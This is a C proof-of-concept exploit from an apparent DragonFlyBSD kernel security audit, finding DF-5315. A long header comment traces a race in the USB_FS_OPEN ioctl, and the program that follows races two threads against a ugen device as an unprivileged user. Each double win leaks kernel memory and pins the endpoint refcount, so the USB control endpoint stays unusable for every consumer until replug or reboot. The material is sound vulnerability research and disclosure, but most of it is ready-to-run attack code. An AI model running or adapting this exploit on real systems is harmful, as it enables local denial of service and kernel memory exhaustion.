⬢ DragonFlyBSD Kernel Audit
DF-5315 / df5315.c
← back to finding ↓ download raw
/*
 * DF-5315 -- USB_FS_OPEN x USB_FS_OPEN double-entry on a shared ugen fd:
 * orphaned usb_xfer root block (permanent kernel memory leak) +
 * endpoint refcount_alloc exhaustion (endpoint permanently unusable by
 * every consumer, kernel drivers included).
 *
 * Root cause (sys/bus/u4b/usb_generic.c):
 *   USB_FS_OPEN checks "f->fs_xfer[ep_index] != NULL -> EBUSY" with NO
 *   lock [usb_generic.c:1462], then calls usbd_transfer_setup() which
 *   (a) can sleep for a long time (usbd_enum_lock [usb_transfer.c:942],
 *       kmalloc M_WAITOK [usb_transfer.c:1220], DMA setup), and
 *   (b) FIRST NULLs the target slot at entry -- "ppxfer[n] = NULL"
 *       [usb_transfer.c:935, no lock] -- and only stores the finished
 *       xfer pointer at the very end [usb_transfer.c:1138].
 * Two threads that both pass the EBUSY check before the first store
 * both run a full setup for the same slot; the second entry NULLs /
 * overwrites the first one's pointer, so usbd_transfer_unsetup() never
 * sees xfer #1 again:
 *   - its endpoint->refcount_alloc (usb_transfer.c:1121) is never
 *     decremented (unsetup does that at usb_transfer.c:1421) ->
 *     after USB_EP_REF_MAX==0x3F orphans the endpoint rejects every
 *     further usbd_transfer_setup (usb_transfer.c:1118-1119);
 *   - its memory block (root + xfer + DMA pages, usb_transfer.c:1220)
 *     is never freed -> unbounded M_USB growth.
 *
 * This is the ioctl-side sibling of DF-5287 (which races read()/write()
 * through ugen_transfer_setup on f->xfer[]): different entry, different
 * array (f->fs_xfer), same orphan mechanism.
 *
 * Round structure (3 barriers): both threads OPEN simultaneously (the
 * race), then a single serialized CLOSE frees the surviving xfer, so
 * the only persistent effect of each double-win is the orphan.
 *
 * Build:  cc -O -Wall -o df5315 df5315.c -pthread
 * Run:    ./df5315 [seconds]     (unprivileged, rw on /dev/usb/0.2.0)
 * Success: after full cleanup (CLOSE+UNINIT+re-INIT), a fresh
 * USB_FS_OPEN fails with ENOMEM forever: refcount_alloc pinned at
 * USB_EP_REF_MAX by the orphans.  Also compare `vmstat -m` before/after.
 */
#include <sys/types.h>
#include <sys/ioctl.h>
#include <err.h>
#include <errno.h>
#include <fcntl.h>
#include <pthread.h>
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <bus/u4b/usb.h>
#include <bus/u4b/usb_ioctl.h>

#ifndef DEV
#define	DEV	"/dev/usb/0.2.0"
#endif

static int fd;
static pthread_barrier_t b_open, b_close, b_done;
static volatile int stop;
static volatile int wins[2];

static struct usb_fs_endpoint eps[4];

static void
fs_init(void)
{
	struct usb_fs_init ini;

	memset(&ini, 0, sizeof(ini));
	ini.pEndpoints = eps;
	ini.ep_index_max = 4;
	if (ioctl(fd, USB_FS_INIT, &ini) < 0)
		err(1, "USB_FS_INIT");
}

static int
fs_open(void)
{
	struct usb_fs_open op;

	memset(&op, 0, sizeof(op));
	op.ep_index = 0;
	op.ep_no = 0x00;		/* control endpoint */
	op.max_bufsize = 256;
	op.max_frames = 4;
	return (ioctl(fd, USB_FS_OPEN, &op));
}

static void *
racer(void *arg)
{
	int id = *(int *)arg;
	struct usb_fs_close cl;

	memset(&cl, 0, sizeof(cl));
	cl.ep_index = 0;

	while (1) {
		pthread_barrier_wait(&b_open);	/* arm: both fire OPEN */
		if (stop)
			break;
		if (fs_open() == 0)
			wins[id]++;
		pthread_barrier_wait(&b_close);	/* both OPENs returned */
		if (id == 0) {
			/* single serialized closer */
			ioctl(fd, USB_FS_CLOSE, &cl);
		}
		pthread_barrier_wait(&b_done);	/* round complete */
	}
	return (NULL);
}

int
main(int argc, char *argv[])
{
	pthread_t t0, t1;
	struct usb_fs_uninit un;
	struct usb_fs_open probe;
	int secs = argc > 1 ? atoi(argv[1]) : 20;
	int i, id0 = 0, id1 = 1, r;

	memset(&un, 0, sizeof(un));

	fd = open(DEV, O_RDWR);
	if (fd < 0)
		err(1, "open %s", DEV);

	fs_init();

	if (pthread_barrier_init(&b_open, NULL, 2) != 0 ||
	    pthread_barrier_init(&b_close, NULL, 2) != 0 ||
	    pthread_barrier_init(&b_done, NULL, 2) != 0)
		err(1, "pthread_barrier_init");
	if (pthread_create(&t0, NULL, racer, &id0) != 0 ||
	    pthread_create(&t1, NULL, racer, &id1) != 0)
		err(1, "pthread_create");

	for (i = 0; i < secs; i++) {
		sleep(1);
		printf("[*] t+%2ds: successful opens: %d + %d\n",
		    i + 1, wins[0], wins[1]);
		fflush(stdout);
	}
	stop = 1;
	pthread_join(t0, NULL);
	pthread_join(t1, NULL);

	printf("[+] race done: successful opens: %d + %d\n", wins[0], wins[1]);

	/* full cleanup of everything user-visible */
	for (i = 0; i < 4; i++) {
		struct usb_fs_close cl;

		memset(&cl, 0, sizeof(cl));
		cl.ep_index = i;
		ioctl(fd, USB_FS_CLOSE, &cl);
	}
	if (ioctl(fd, USB_FS_UNINIT, &un) != 0)
		printf("[!] USB_FS_UNINIT: %s\n", strerror(errno));

	/* fresh fs state */
	fs_init();

	memset(&probe, 0, sizeof(probe));
	probe.ep_index = 0;
	probe.ep_no = 0x00;
	probe.max_bufsize = 256;
	probe.max_frames = 4;
	r = ioctl(fd, USB_FS_OPEN, &probe);
	if (r == 0) {
		printf("POST-CLEANUP OPEN SUCCEEDED (endpoint not exhausted "
		    "yet -- run longer / check vmstat -m for M_USB growth)\n");
		return (1);
	}
	printf("POST-CLEANUP USB_FS_OPEN FAILED: %s\n", strerror(errno));
	printf("=> control-endpoint refcount_alloc exhausted by orphaned "
	    "xfers (USB_EP_REF_MAX=0x3f): endpoint dead for ALL consumers "
	    "until replug/reboot\n");
	return (0);
}